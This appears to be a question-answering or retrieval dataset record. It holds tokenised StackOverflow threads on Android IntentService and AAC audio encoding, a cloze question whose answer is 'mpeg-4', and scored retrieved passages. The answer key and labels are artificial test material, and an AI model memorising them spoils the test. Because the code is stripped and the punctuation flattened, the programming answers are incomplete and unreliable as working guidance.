stackoverflow.com questions 7173306 manually-ending-the-intentservice-worker-thread here http : stackoverflow.com questions 8709989 how-to-stop-intentservice-in-android here http : stackoverflow.com questions 7146624 stopping-an-intentservice but no good answers . Activity.stopService and Service.stopSelf execute the Service.onDestroy method immediately but then let the code in onHandleIntent finish all the way through before destroying the service . Since there is apparently no guaranteed way to terminate the service s thread immediately the only recommended solution I can find here http : www.techrepublic.com article interrupting-java-threads 5144546 is to have a boolean member variable in the service that can be switched in the onDestroy method and then have just about every line of the code in onHandleIntent wrapped in its own if clause looking at that variable . That s an awful way to write code . Does anybody know of a better way to do this in an IntentService Comment : check this link ProperWay to stop intent service 1 1 : stackoverflow.com questions 10250745 http : stackoverflow.com questions 10250745 proper-way-to-stop-intentservice Comment : no . there s no better way . And that s not an issue with the IntentService . But an issue the way threads works . Any thread you have running the only safe way to stop it is by checking a boolean or some condition and returning from the thread . Comment : There is a better way . You cannot kill a thread in Java but Android allows you to kill processes . See my answer for details . .. . Answer : Hope it works . Comment : it does not because IntentService handles one intent completely at a time .", "Question : I have an IntentService that is started from an Activity and I would like to be able to stop the service immediately from the activity with a cancel-button in the activity . As soon as that cancel-button is pressed I want the service to stop executing lines-of-code . I ve found a number of questions similar to this i.e . here http : stackoverflow.com questions 5503244 how-to-stop-an-intentservice here http : stackoverflow.com questions 7173306 manually-ending-the-intentservice-worker-thread here http : stackoverflow.com questions 8709989 how-to-stop-intentservice-in-android here http : stackoverflow.com questions 7146624 stopping-an-intentservice but no good answers . Activity.stopService and Service.stopSelf execute the Service.onDestroy method immediately but then let the code in onHandleIntent finish all the way through before destroying the service . Since there is apparently no guaranteed way to terminate the service s thread immediately the only recommended solution I can find here http : www.techrepublic.com article interrupting-java-threads 5144546 is to have a boolean member variable in the service that can be switched in the onDestroy method and then have just about every line of the code in onHandleIntent wrapped in its own if clause looking at that variable . That s an awful way to write code . Does anybody know of a better way to do this in an IntentService Comment : check this link ProperWay to stop intent service 1 1 : stackoverflow.com questions 10250745 http : stackoverflow.com questions 10250745 proper-way-to-stop-intentservice Comment : no . there s no better way . And that s not an issue with the IntentService . But an issue the way threads works . Any thread you have running the only safe way to stop it is by checking a boolean or some condition and returning from the thread . Comment : There is a better way . You cannot kill a thread in Java but Android allows you to kill processes . See my answer for details . .. . Answer : Here is some sample code to start stop Service .. . .. . To start .. . .. . To stop .. . .. . context.stopService GPSService Comment : Thanks but as I noted stopService does not cause the service to stop executing lines-of-code immediately .", "Question : Can you please help me understand what the difference between an IntentService and a Service is Comment : techtej.blogspot.com.es 2011 03 http : techtej.blogspot.com.es 2011 03 android-thread-constructspart-4.html Comment : Really good comparison here : stackoverflow.com questions 15524280 service-vs-intent-service http : stackoverflow.com questions 15524280 service-vs-intent-service Comment : Please go to the above links they are really TOO GOOD. . very big thanks for them.. . .. . Answer : Differences .. . .. . 1 . Service class uses the application s main thread while IntentService creates a worker thread and uses that thread to run the service . 2 . IntentService creates a queue that passes one intent at a time to onHandleIntent . Thus implementing a multi-thread should be made by extending Service class directly . 3 . Service class needs a manual stop using stopSelf . Meanwhile IntentService automatically stops itself when there is no intent in queue . 4 . IntentService implements onBind that returns null . This means that the IntentService can not be bound by default . 5 . IntentService implements onStartCommand that sends Intent to queue and to onHandleIntent . Comment : Doesn t Service also implement onStartCommand", "Question : Can you please help me understand what the difference between an IntentService and a Service is Comment : techtej.blogspot.com.es 2011 03 http : techtej.blogspot.com.es 2011 03 android-thread-constructspart-4.html Comment : Really good comparison here : stackoverflow.com questions 15524280 service-vs-intent-service http : stackoverflow.com questions 15524280 service-vs-intent-service Comment : Please go to the above links they are really TOO GOOD. . very big thanks for them.. . .. . Answer : Service is a base-class of service implementation . Service is run in the application s main thread which may reduce the application performance . Thus IntentService which is a direct subclass of Service is available to make things easier . The IntentService is used to perform a certain task in the background . Once done the instance of IntentService terminates itself automatically . Examples for its usage would be to download a certain resource from the Internet . Differences .. . .. . 1 . Service class uses the application s main thread while IntentService creates a worker thread and uses that thread to run the service . 2 . IntentService creates a queue that passes one intent at a time to onHandleIntent . Thus implementing a multi-thread should be made by extending Service class directly . Service class needs a manual stop using stopSelf . Meanwhile IntentService automatically stops itself when it finishes execution . 3 . IntentService implements onBind that returns null . This means that the IntentService can not be bound by default . 4 . IntentService implements onStartCommand that sends Intent to queue and to onHandleIntent . In brief there are only two things to do to use IntentService . Firstly to implement the constructor . And secondly to implement onHandleIntent . For other callback methods the super is needed to be called so that it can be tracked properly . Comment : Nice Explaination . I am making Music app . So which one be nice for it Service or IntentService Comment : for music app i think you have to use Service because as default IntentService is unbinddable and i think you have to bind your music app with music service to start to stop . As already said IntentService is better for start and forget Comment : @Premier Wouldn t IntentService be similar to Service.START NOT STICKY As that is also start and forget according to your example . Comment : i have an app which can sync data after some time through service so what should i use Service or Intent Service", "Question : I have an infinite-loop in my IntentService to update my view once every 30 seconds based on the input from the main activity . The problem is I am stuck in this loop . Even if I kill the main activity and then return to it to enter a new input and the IntentService still returns based on the old input . I need to know how I can update myself from the URL every 30 second without getting stuck . Thanks .. . Answer : An IntentService is meant to finish of a task and return . It does this task in a new thread . Do not use while-loop in IntentService . Your IntentService will get killed after sometime . I am telling this from personal experience . I tried using a while-loop in it . And at the end of the while-loop I used sleep 60000 i.e 1 minute . But I found that my IntentService was killed after sometime . I would recommend you not to use an AlarmManager for 30 seconds as some have siggested . Because 30 seconds is too short . it will drain the battery . For AlarmManager use a minimum 1 minute with RTC http : developer.android.com reference android app AlarmManager.html RTC . If you still want it to be 30 seconds use a service . In the service use your logic . But do that in a separate thread i.e spawn a new thread in your Service and used while-loop there and sleep . And do not forget to use startForeGround http : developer.android.com reference android app Service.html startForeground 28int 20android.app.Notification 29 . This reduces the probabilty of android killing your service greatly . Comment : do you have the tutorial for alarmmanager to execute the intentservice in every 30 seconds @Ashwin or maybe what is your solution if i want to make the service run for every 12 seconds then Comment : If you should choose between an AlarmManager every minute and a Service with its own loopen thread.. . what would you choose", "Question : To know the difference between IntentService and Service in Android I created the below posted small test of an IntentService class . The IntentService class can be started using startService intent which will result in a call to nStartCommand Intent intent int flags int startId . Also to send values from the IntentService class to the MainActivity for an example we should send it via sendBroadcast intent and the MainActivity should register a broadcastReceiver for that action so it can receive the values sent via .. . .. . so far I cant see any difference between Service and IntentService Since they are similar in the way of starting them and the way they broadcast data can you please tell me in which context they differ please tell me why i am receiving those errors and how to solve it .. . .. . MainActivity .. . .. . MyIntentService : Comment : Main difference that Service is working on the same thread where it was called . And IntentService working on a background-thread .. . Answer : Service .. . .. . This is the base-class for all services . When you extend this class it s important that you create a new thread in which to do all the service s work because the service uses your application s main thread by default which could slow the performance of any activity your application is running . IntentService .. . .. . This is a subclass of Service that uses a worker thread to handle all start requests one at a time . This is the best option if you don t require that your service handle multiple requests simultaneously . All you need to do is implement onHandleIntent which receives the intent for each start request so you can do the background work . Below are some key differences between Service and IntentService in Android . 1 When to use The Service can be used in tasks with no UI but shouldn t be too long . If you need to perform long tasks you must use threads within Service . The IntentService can be used in long tasks usually with no communication to Main Thread . If communication is required can use Main Thread handler or broadcast intents . Another case of use is when callbacks are needed Intent triggered tasks . 2 How to trigger The Service is triggered calling to method onStartService . The IntentService is triggered using an Intent it spawns a new worker thread and the method onHandleIntent is called on this thread . for more clarity refer this http : www.onsandroid.com 2011 12 difference-between-android.html Comment : in the point number 1 you stated that in the Service one cant manipulate the UI thread...is the possible in Intentservice Comment : both have no communication with UI . but if required in intent service we have to use Main Thread handler or broadcast intents . Comment : I can see lots of similarities in your answer to this one https : stackoverflow.com a 15772151 1364007 . Could you use the quote highlighting by starting a line with a to show which lines are your words and which lines were copy pasted That will prevent others from possibly accusing you from plagiarism .", "Question : I have an IntentService that is started from an Activity and I would like to be able to stop the service immediately from the activity with a cancel-button in the activity . As soon as that cancel-button is pressed I want the service to stop executing lines-of-code . I ve found a number of questions similar to this i.e . here http : stackoverflow.com questions 5503244 how-to-stop-an-intentservice here http : stackoverflow.com questions 7173306 manually-ending-the-intentservice-worker-thread here http : stackoverflow.com questions 8709989 how-to-stop-intentservice-in-android here http : stackoverflow.com questions 7146624 stopping-an-intentservice but no good answers . Activity.stopService and Service.stopSelf execute the Service.onDestroy method immediately but then let the code in onHandleIntent finish all the way through before destroying the service . Since there is apparently no guaranteed way to terminate the service s thread immediately the only recommended solution I can find here http : www.techrepublic.com article interrupting-java-threads 5144546 is to have a boolean member variable in the service that can be switched in the onDestroy method and then have just about every line of the code in onHandleIntent wrapped in its own if clause looking at that variable . That s an awful way to write code . Does anybody know of a better way to do this in an IntentService Comment : check this link ProperWay to stop intent service 1 1 : stackoverflow.com questions 10250745 http : stackoverflow.com questions 10250745 proper-way-to-stop-intentservice Comment : no . there s no better way . And that s not an issue with the IntentService . But an issue the way threads works . Any thread you have running the only safe way to stop it is by checking a boolean or some condition and returning from the thread . Comment : There is a better way . You cannot kill a thread in Java but Android allows you to kill processes . See my answer for details . .. . Answer : To stop a thead process immediatelly is always a dirty thing . However it should be fine if your service is stateless . Declare the service as a separate process in the manifest : .. . .. . And when you want to stop its execution just kill that process : Comment : This looks like it might work . It s not easy for me to test this any more but if anybody else can verify that this solution is correct I ll accept it . Comment : replace Process.killProcess next.pid with android.os.Process.killProcess next.pid java Process is different from Android Process . Comment : Of course it is different but you don t have to type the fully qualified-name with the revelant import -- import android.os.Process . Just like with standard Java -- import java.lang.Process . Comment : This is working but unfortunately EventBus can t be used anymore with this approach . Does anyone has a solution for killing the running intentservice Comment : What EventBus has to do with this topic", "Question : I want to create a service which will run on a separate thread not on UI Thread so I implemented a class which will extend IntentService . But I haven t got any luck . Here is the code . Service Consumption in an Activity Button click : Comment : Take a look at example : developer.android.com reference android app http : developer.android.com reference android app Service.html LocalServiceSample Comment : the example you linked is of a Service not an IntentService .. . Answer : In your concrete implementation you have to declare a default constructor which calls the public IntentService String name super constructor of the abstract IntentService class you extend : .. . .. . You do not need to overwrite onStartCommand if the super implementation fits for you what I expect . In your current case you should get an exception Unable to instantiate service.. . - it is always worth to put this in the question .", "Question : I want to create a service which will run on a separate thread not on UI Thread so I implemented a class which will extend IntentService . But I haven t got any luck . Here is the code . Service Consumption in an Activity Button click : Comment : Take a look at example : developer.android.com reference android app http : developer.android.com reference android app Service.html LocalServiceSample Comment : the example you linked is of a Service not an IntentService .. . Answer : ServiceDemo.java : .. . .. . MyService.java : .. . .. . Declare the following attribute in manifest file : Comment : This is a good example of a Service but not an IntentService as the question asked .", "Question : I have an IntentService that is started from an Activity and I would like to be able to stop the service immediately from the activity with a cancel-button in the activity . As soon as that cancel-button is pressed I want the service to stop executing lines-of-code . I ve found a number of questions similar to this i.e . here http : stackoverflow.com questions 5503244 how-to-stop-an-intentservice here http : stackoverflow.com questions 7173306 manually-ending-the-intentservice-worker-thread here http : stackoverflow.com questions 8709989 how-to-stop-intentservice-in-android here http : stackoverflow.com questions 7146624 stopping-an-intentservice but no good answers . Activity.stopService and Service.stopSelf execute the Service.onDestroy method immediately but then let the code in onHandleIntent finish all the way through before destroying the service . Since there is apparently no guaranteed way to terminate the service s thread immediately the only recommended solution I can find here http : www.techrepublic.com article interrupting-java-threads 5144546 is to have a boolean member variable in the service that can be switched in the onDestroy method and then have just about every line of the code in onHandleIntent wrapped in its own if clause looking at that variable . That s an awful way to write code . Does anybody know of a better way to do this in an IntentService Comment : check this link ProperWay to stop intent service 1 1 : stackoverflow.com questions 10250745 http : stackoverflow.com questions 10250745 proper-way-to-stop-intentservice Comment : no . there s no better way . And that s not an issue with the IntentService . But an issue the way threads works . Any thread you have running the only safe way to stop it is by checking a boolean or some condition and returning from the thread . Comment : There is a better way . You cannot kill a thread in Java but Android allows you to kill processes . See my answer for details . .. . Answer : As @budius already mentioned in his comment you should set a boolean on the Service when you click that button : .. . .. . And in your Intent handling before you do the important task of committing sending the intent information just use that boolean : .. . .. . Otherwise the Service will do it s task of processing that Intent . That s how it was meant to be used because I can t quite see how you could solve it otherwise https : github.com android platform frameworks base blob dbc51de44fe4f9a7f81528204250de32ec405d39 core java android app Service.java if you look at the core code .", "Question : I have an IntentService that is started from an Activity and I would like to be able to stop the service immediately from the activity with a cancel-button in the activity . As soon as that cancel-button is pressed I want the service to stop executing lines-of-code . I ve found a number of questions similar to this i.e . here http : stackoverflow.com questions 5503244 how-to-stop-an-intentservice here http : stackoverflow.com questions 7173306 manually-ending-the-intentservice-worker-thread here http : stackoverflow.com questions 8709989 how-to-stop-intentservice-in-android here http : stackoverflow.com questions 7146624 stopping-an-intentservice but no good answers . Activity.stopService and Service.stopSelf execute the Service.onDestroy method immediately but then let the code in onHandleIntent finish all the way through before destroying the service . Since there is apparently no guaranteed way to terminate the service s thread immediately the only recommended solution I can find here http : www.techrepublic.com article interrupting-java-threads 5144546 is to have a boolean member variable in the service that can be switched in the onDestroy method and then have just about every line of the code in onHandleIntent wrapped in its own if clause looking at that variable . That s an awful way to write code . Does anybody know of a better way to do this in an IntentService Comment : check this link ProperWay to stop intent service 1 1 : stackoverflow.com questions 10250745 http : stackoverflow.com questions 10250745 proper-way-to-stop-intentservice Comment : no . there s no better way . And that s not an issue with the IntentService . But an issue the way threads works . Any thread you have running the only safe way to stop it is by checking a boolean or some condition and returning from the thread . Comment : There is a better way . You cannot kill a thread in Java but Android allows you to kill processes . See my answer for details . .. . Answer : In case of IntentService it does not stop or takes any other request through some intent action until its onHandleIntent method completes the previous request . If we try to start IntentService again with some other action onHandleIntent will be called only when previous intent task is finished . Also stopService intent or stopSelf does not work until the onHandleIntent method finishes its task . So I think here better solution is to use normal Service here . I hope it will help ." ] }
[ "yes-answer-long", "yes-answer-short" ]
implementation
UNK_RELATION
aac+@mpeg-4@120
aac + -- high-efficiency advanced audio coding he-aac is a lossy data compression scheme for digital audio defined as a @placeholder audio profile in iso iec 14496-3 .
{ "confidence": [ 68.06986999511719, 64.54534912109375, 62.37367248535156, 61.553802490234375, 60.550621032714844, 59.05303955078125, 59.035152435302734, 56.53295135498047, 56.39374542236328, 55.33061218261719, 55.004981994628906, 54.001800537109375, 53.70085525512695, 53.308998107910156, 52.36492919921875, 52.36492919921875, 52.1710319519043, 52.093971252441406, 52.093971252441406, 51.36174774169922, 51.36174774169922, 51.167850494384766, 51.167850494384766, 51.090789794921875, 51.090789794921875, 51.090789794921875, 51.090789794921875, 51.090789794921875, 51.090789794921875, 51.086551666259766, 49.965511322021484, 49.888450622558594, 48.55799865722656, 48.21208190917969, 48.21208190917969, 47.91299819946289, 47.65696716308594, 47.573692321777344, 47.54582977294922, 47.009742736816406, 46.92720413208008, 46.73291778564453, 46.50988006591797, 46.27558135986328, 45.53057861328125, 45.53057861328125, 45.53057861328125, 45.41767120361328, 44.76341247558594, 44.76341247558594, 44.76341247558594, 44.76341247558594, 44.76341247558594, 44.76341247558594, 44.76341247558594, 44.76341247558594, 44.76341247558594, 44.76341247558594, 44.76341247558594, 44.76341247558594, 44.76341247558594, 44.76341247558594, 44.76341247558594, 44.613380432128906, 44.29707717895508, 43.99473571777344, 43.760231018066406, 43.760231018066406, 43.760231018066406, 43.760231018066406, 43.760231018066406, 43.760231018066406, 43.73683547973633, 43.32917404174805, 43.18227767944336, 42.567134857177734, 42.557891845703125, 42.557891845703125, 42.557891845703125, 42.557891845703125, 42.557891845703125, 42.557891845703125, 42.557891845703125, 42.557891845703125, 42.557891845703125, 42.32379913330078, 42.205562591552734, 41.78911590576172, 41.588279724121094, 41.32061767578125, 41.32061767578125, 41.32061767578125, 41.26256561279297, 41.26256561279297, 41.164085388183594, 40.911338806152344, 40.499053955078125, 40.49235153198242, 40.372840881347656, 40.276947021484375 ], "content": [ "audio m4a audio aac audio aacp audio x-aac audio mpeg audio mp4a audio mp4a-latm audio mp4", "AAC is an audio encoding format .", "It records the audio in AAC format but a .caf audio container packages the audio file .", "How to convert this audio to mp3 or AAC", "Output should be H264 with AAC audio .", "Give these types a shot and the community would appreciate a confirmation of what works : .. . .. . audio mpeg audio mp4a audio mp4a-latm audio aac audio x-aac", "I try to encode audio to AAC with profile FF PROFILE AAC LOW by the following settings .", "I m attempting to convert an AAC audio stream for playback .", "Just would like to know : is there any iOS native framework SDK supports the streaming of HE-AAC AAC+ audio files", "Is there really a problem with streaming ts files with aac audio", "The Android developer docs state the following about this mime type : audio mp4a-latm - AAC audio note this is raw AAC packets not packaged in LATM .", "I am currently developing an application that needs to record audio encode it as AAC stream it and do the same in reverse - receiving stream decoding AAC and playing audio .", "This is just a wrapper format however and the actual audio data it contains is in AAC format .", "I wrote a loop to encode pcm audio data generated by my app to aac using Extended Audio File Services .", "The audio does work in VLC so it seems to be an issue with Flash being unable to decode the AAC audio .", "is there a difference between M4A audio files and AAC audio files or are they exactly the same thing but with a different file extension", "the output codecs are : libx264 for video and faac or fdk-aac for audio output i tried both aac encoders but it did not change .", "I am trying to encode aac audio using android AudioRecord and MediaCodec .", "True I should have described 3GPP and M4A as containers for AAC audio .", "So do you have any advice on how I could convert a MP3 audio to an AAC audio", "For the case that the AAC audio stream is 2 channels it works fine both video and audio play correctly .", "I m talking about files that end .aac not AAC audio inside M4A or MP4 containers .", "Your aac audio frames still have adts headers when provided to a unit of processing which is expecting raw aac .", "I create a MP4 video with H264 video and AAC audio .", "The user records audio file which is saved in the .AAC format .", "AAC is broken into audio frames. . extract both sets of frames and join them .", "I m using mp4 container : video : h254 and audio : AAC .", "Even if I already set FLV tag to Raw AAC audio", "I m using the Android MediaRecorder to record AAC encoded audio files .", "There is a Freeware Advanced Audio AAC Decoder for Android https : code.google.com p aacdecoder-android .", "I choose The AAC format as there is an article from Fraunhofer called AAC-ELD based Audio Communication on iOS A Developer s Guide .", "I want to convert audio files encoded in AAC to WAV .", ".AAC is not a container format and instead it is a raw MPEG-4 Part 3 bitstream with audio stream encoded .", "I have made a small application to extract audio from an mp4 file or simply convert an existing audio file to AAC mp4 format both raw AAC or inside mp4 container .", "The iPhone supports more than aac audio just curious why your only supporting AAC doesn t the logitech camera support any of the following g711 ulaw apcm mpeg2 audio etc .", "Here is my code to set up Audio .. . .. . Here I get AAC Encoded data from", "http : stackoverflow.com questions 10817036 can-i-use-avcapturesession-to-encode-an-aac-stream-to-memory .. . Writing video + generated audio to AVAssetWriterInput audio stuttering http : stackoverflow.com questions 12187124 writing-video-generated-audio-to-avassetwriterinput-audio-stuttering .. . How do I use CoreAudio s AudioConverter to encode AAC in real-time", "Now I have a subtle problem when playing back mp4 m4a containers that contain MPEG-4 HE-AAC audio data .", "AAC is an audio codec which was Designed to be the successor of the MP3 format AAC generally achieves better sound quality than MP3 at similar bit rates .", "Now I don t want to record sound in .aac format directly I need to convert recorded .caf audio file into .aac audio file.. . any idea how to do this", "The correct version of Spec to look for is ISO IEC 14496-3 : 2005 .", "I have run this application with existing mp4 files as input and it properly extracts audio and encodes to mp4 audio only : AAC or even directly in AAC format i.e .", "For example if it is mentioned that AAC LC codec supported by Android Android supported codec and my hardware does not support AAC LC codec can I play AAC LC audio music", "It works with MP3 audio mpeg though.. . .. . .. . Finally I created a MediaExtractor for an AAC file and looked at the format object it was producing .", "When capturing audio from my audio unit mixer output and writing it to an AAC file via CAAudioUnitOutputCapturer the ExtAudioFileWriteAsync API fails .", "I want save audio file into .aac format and send to iPhone : .. . .. . But after I send this audio file to iPhone iPhone can t read it .", "The problem occurs when I often stop and start audio playback and seek a lot back and forth in an AAC audio file through an ExtAudioFileRef object .", "ISO IEC 14496-3 Subpart 1 : Main Section 1.6 : Interface to 14496-1 is the right place to look .", "I have an application that rips aac+ audio streams cutting them at every regular interval i.e .", "I used this command : .. . .. . Any command that works and records AAC audio with VLC from the Terminal would be greatly appreciated .", "I would like to get AAC audio from PCM by mediacodec but always got failure .", "I have tried with bass aac an extension to the Bass audio library which claims to be able to handle AAC+ unsuccessfully .", "I have a series of MP4 files H.264 video AAC audio 16KHz .", "I mean list of Audio Object Types it support MPEG-2 and MPEG-4 AAC LC etc .", "All these libraries cannot convert default android audio format AMR codec to MP3 or AAC .", "Note that M4A does not have to contain exactly AAC audio there are other valid options as well .", "@tikson do u have the full correct code that convert pcm raw audio file to aac file-format", "As I understand it Android will only play AAC format audio if it s encoded as MPEG-4 or 3GPP .", "I m able to play AAC audio encoded as M4A when it s local to the app but it fails when obtaining it from a server .", "You can use this for help and Guidance or use Multiplayer class in it to playback aac audio .", "If you analyze your MP4 file with MediaInfo for example you will see AAC for audio but without ADTS wrapper .", "This is why Silverlight can read in this case your AAC audio embedded in a MP4 file .", "I need to send raw AAC audio frames one at a time to my decoder .", "avio open avformat new stream etc. . .. . .. . The problem is that the app already has AAC-LC audio so audio frame does not need to be encoded because my app just bypass data received from socket buffer .", "I want to use Windows Media Foundation to get the audio data of an AAC-encoded file .", "Too bad ffmpeg does not support he-aac .. .", "stackoverflow.com questions 10726762 http : stackoverflow.com questions 10726762 converting-audio-on-android-to-mp3-or-aac", "I m trying to write an AAC audio stream into an mp4 file using the FFMPEG libraries .", "Now I need to live stream AAC encoded audio over the network without writing it to a file .", "I made one FLV audio tag per AAC frame easier to deal with seeking timestamps etc .. .", "Now my Rockboxed portable player can read AAC audio tracks extracted from FLV YouTube videos .", "When converting to adts aac the converted audio has a prefix of about 40ms of silence.. . Weird.. .", "@Danijel : Here is what ffprobe reports for the AAC stream : Duration : N A bitrate : 63 kb s Stream 0 : 0 : Audio : aac HE-AACv2 44100 Hz stereo fltp 63 kb s", "Here is what each browser supports : .. . .. . Internet Explorer 9.0+ : .mp3 .aac .. . Chrome : .ogg .mp3 .wav .aac .. . Firefox : .ogg .wav .. . Safari : .mp3 .aac .wav .. . Opera : .ogg .wav .. . .. . Chrome seems to support .aac http : www.chromium.org audio-video but it isn t included in the list of officially supported file extensions .", "I need an encoder that can convert mp3 files to he-aac aka aac+ .", "audio controls controls source src xxx.aac type audio mp4 audio", "I want to build an app that plays AAC audio stream sent by my Raspberry Pi with Gstreamer .", "So please give me the source code of a class which can join two AAC audio file .", "All your errors come from one thing the so-called AAC audio .", "I m doing some integration work with video H.264 and audio AAC from an IP camera .", "Is there a better way of appending two MPEG-4 AAC audio files almost instantaneously", "Though we ask the AVAudioRecorder to record in MPEG4-AAC format it always produces a .caf Core Audio Format file .", "adding an audio input to your capture session seems to tie up the AAC encoder .", "I am trying to decode AAC-ELD 16kHz audio frames on Samsung S4 5.0.1 .", "I m attempting to use Aurora.JS to play audio received from a streaming AAC-encoded source .", "I m trying to build a radio player and the client is providing a stream which is a FLV container with the audio being AAC .. . .. . When I read the headers it shows up as audio aacp .", "Therefore HE-AAC mostly makes sense if you have got a high sample rate - it doesn t make much sense to try to use it for a 8 kHz audio stream .", "I tried using the MediaFormat.createAudioFormat to create the format object to pass to MediaCodec.configure but I kept getting errors when using AAC audio mp4a-latm .", "And yes it is raw aac data blocks .", "Add audio to video in android http : stackoverflow.com questions 11732664 add-audio-to-video-in-android .. . .. . But I can t find any documentation on how to convert the MP3 files into AAC format .", "MP4 recordings made on iOS with AAC audio are playing properly everywhere except the default Android Chrome and Internet media players at least on Samsung Galaxy S5 6 where they play with NO AUDIO .", "I have an AAC-format audio file that im trying to convert into a raw format PCM file in order to mix it with another audio file and play it using AudioTrack later on .", "Does SSR here mean AAC SSR profile", "I used a file encode with AAC LC profile .", "In audio they are not .", "Kostya on the FFMPEG team is currently working on an AAC encoder but it has a long way to go--its not ready for primetime with LC-AAC let alone HE-AAC its not even committed to the repository yet .", "There are raw video and audio streams this streams cannot be played directly on most video audio-player they need to be encapsulated on a transport a raw H.264 video stream and a raw AAC audio stream need to be inside a MP4 encapsulator it can be also inside an AVI or MOV encapsulator .", "It is a little bit slow to transform mp3 files to wav and then to he-aac .", "Everything is ok except the output is AAC not AAC LC .", "media format configuration : .. . .. . encode : .. . .. . send to ffmpeg muxer .. . .. . When I extracted the stream by ffmpeg ffmpeg indicated the audio format was adpcm swf not AAC ." ] }
{ "confidence": [ 77.8906021118164, 72.48005676269531, 70.2511215209961, 69.65567016601562, 67.87401580810547, 67.70289611816406, 67.67027282714844, 67.3802261352539, 66.90314483642578, 66.456298828125, 66.40612030029297, 66.38558959960938, 65.9376449584961, 65.5901107788086, 65.5481948852539, 65.06929016113281, 65.01322174072266, 64.60350799560547, 64.54644775390625, 64.54644775390625 ], "content": [ "Question : I am trying to initialize AAC encoder with the following parameters aac-profile 5 mime audio mp4a-latm bitrate 12000 channel-count 1 sample-rate 8000 .. . .. . But the codec initialization fails with the following error : .. . .. . 06-14 19 : 17 : 58.009 6194-6450 E SoftAACEncoder2 : Unable to initialize encoder for profile sample-rate bit-rate channels .. . 06-14 19 : 17 : 58.010 6194-6449 E ACodec : OMX.google.aac.encoder ERROR 0x80001001 .. . 06-14 19 : 17 : 58.010 6194-6449 E ACodec : signalError omxError 0x80001001 internalError -2147483648 .. . 06-14 19 : 17 : 58.010 6194-6449 E MediaCodec : Codec reported err 0x80001001 actionCode 0 while in state 6 .. . .. . But when I try to initialize it with sampling rate of 16khz it works but the documentation says the AAC-HE profile supports 8khz sampling rate . Any idea what could be the issue Comment : Try bitrate 16000 or even bitrate 32000 .. . Also what is your bit-depth setting 8bit or 16bit audio Comment : Hi Thanks for the reply I tried with 16000 the result is same . I am using 16bit audio . .. . Answer : What documentation says that HE-AAC supports 8 kHz sampling rate There s also a difference between the standard itself supporting it and this particular encoder supporting it . In practice HE-AAC uses a technique called sideband replication SBR . This boils down to that the main AAC stream itself is of the half sample rate and then the higher sample rate is reconstructed on top of this . If you d encode 8 kHz audio in this way the main AAC stream would be 4 kHz and I m not sure if the encoder actually supports that . Therefore HE-AAC mostly makes sense if you have got a high sample rate - it doesn t make much sense to try to use it for a 8 kHz audio stream .", "Question : As I understand it Android will only play AAC format audio if it s encoded as MPEG-4 or 3GPP . I m able to play AAC audio encoded as M4A when it s local to the app but it fails when obtaining it from a server . The following works as the m4a file is held locally in the res raw directory . The following doesn t work . But does with MP3 s . Can anyone shed any light on why it fails when the m4a audio file is not local Here s some of the error.. . I m targeting SDK 1.6 . Comment : You re confusing encoding with file formats . AAC is an audio encoding format . M4A is a file-type or package that sits around the AAC data . 3GPP is similar but can contain other types of encoded audio . See here developer.android.com guide appendix media-formats.html http : developer.android.com guide appendix media-formats.html and here en.wikipedia.org wiki M4a http : en.wikipedia.org wiki M4a . Comment : True I should have described 3GPP and M4A as containers for AAC audio . Off the top of my head I think M4A may only be used for static files and 3GPP can only stream using RTSP rather than HTTP This would cause problems for HTTP streaming . Correct me if I m wrong.. . .. . Answer : There is a Freeware Advanced Audio AAC Decoder for Android https : code.google.com p aacdecoder-android . You can use this for help and Guidance or use Multiplayer class in it to playback aac audio . There is a sample app and library in it to help you understand .. . .. . Hope this helps Comment : It is written PLEASE NOTE that the use of this software may require the payment of patent royalties . You need to consider this issue before you start building derivative works . We are not warranting or indemnifying you in any way for patent royalities YOU ARE SOLELY RESPONSIBLE FOR YOUR OWN ACTIONS For more information about the AAC patents please visit vialicensing.com licensing aac-fees.aspx quot http : www.vialicensing.com licensing aac-fees.aspx quot not sure that it is a good idea to use this library", "Question : is there a difference between M4A audio files and AAC audio files or are they exactly the same thing but with a different file extension .. . Answer : .M4A files typically contain audio only and are formatted as MPEG-4 Part 14 files .MP4 container . .AAC is not a container format and instead it is a raw MPEG-4 Part 3 bitstream with audio stream encoded . Note that M4A does not have to contain exactly AAC audio there are other valid options as well .", "Question : As I understand it Android will only play AAC format audio if it s encoded as MPEG-4 or 3GPP . I m able to play AAC audio encoded as M4A when it s local to the app but it fails when obtaining it from a server . The following works as the m4a file is held locally in the res raw directory . The following doesn t work . But does with MP3 s . Can anyone shed any light on why it fails when the m4a audio file is not local Here s some of the error.. . I m targeting SDK 1.6 . Comment : You re confusing encoding with file formats . AAC is an audio encoding format . M4A is a file-type or package that sits around the AAC data . 3GPP is similar but can contain other types of encoded audio . See here developer.android.com guide appendix media-formats.html http : developer.android.com guide appendix media-formats.html and here en.wikipedia.org wiki M4a http : en.wikipedia.org wiki M4a . Comment : True I should have described 3GPP and M4A as containers for AAC audio . Off the top of my head I think M4A may only be used for static files and 3GPP can only stream using RTSP rather than HTTP This would cause problems for HTTP streaming . Correct me if I m wrong.. . .. . Answer : This is a wild shot in the dark but I have seen similar behavior with the flash-player where it actually ignores the file name and only relies on the MIME type sent by the server . Any idea what headers are being sent down from example.com You might want to try wrapping your blah.m4a in a page that can set the headers and then stream the binary-data . Give these types a shot and the community would appreciate a confirmation of what works : .. . .. . audio mpeg audio mp4a audio mp4a-latm audio aac audio x-aac Comment : A good suggestion - thanks . Unfortunately I ve had no luck trying an array of possible content-types . For reference I ve listed the ones that have not worked below . It s still possible it s something to do with HTTP headers - or something - it might be that it s very fussy about what it can be fed . audio m4a audio aac audio aacp audio x-aac audio mpeg audio mp4a audio mp4a-latm audio mp4 Comment : I definitely experienced an issue with this . For our streaming purposes the MediaPlayer would not play the streaming file unless the Http header content-type was set correctly . Interestingly the content-length was not required though .", "Question : I use the MediaExtractor MediaCodec combo on Android target API level 16 to decode audio streams . Now I have a subtle problem when playing back mp4 m4a containers that contain MPEG-4 HE-AAC audio data . When querying track s MediaFormat for the MediaFormat.KEY SAMPLE RATE I actually get only half of the expected size e.g for a track that needs a playback sample rate of 44100 the MediaFormat returns 22050 . After reading some documentation on HE-AAC I understand that this is correct in terms of how that codec works . Still to play back the audio track on an AudioTrack instance I have to configure it with the correct playback samplerate which is 44100 and not 22050 . Therefore I am looking for a way to know for sure when the audio is HE-AAC encoded with API target level 16 so I can set the sample rate of the AudioTrack to two times the reported sample rate . Edit : I do check the MediaFormat when MediaCodec return with MediaCodec.INFO OUTPUT FORMAT CHANGED . The format will look like this : .. . .. . To get a proper playback on the AudioTrack I need to set the sample rate to 2 sample-rate 44100 . I wonder if the csd-0 contains more information 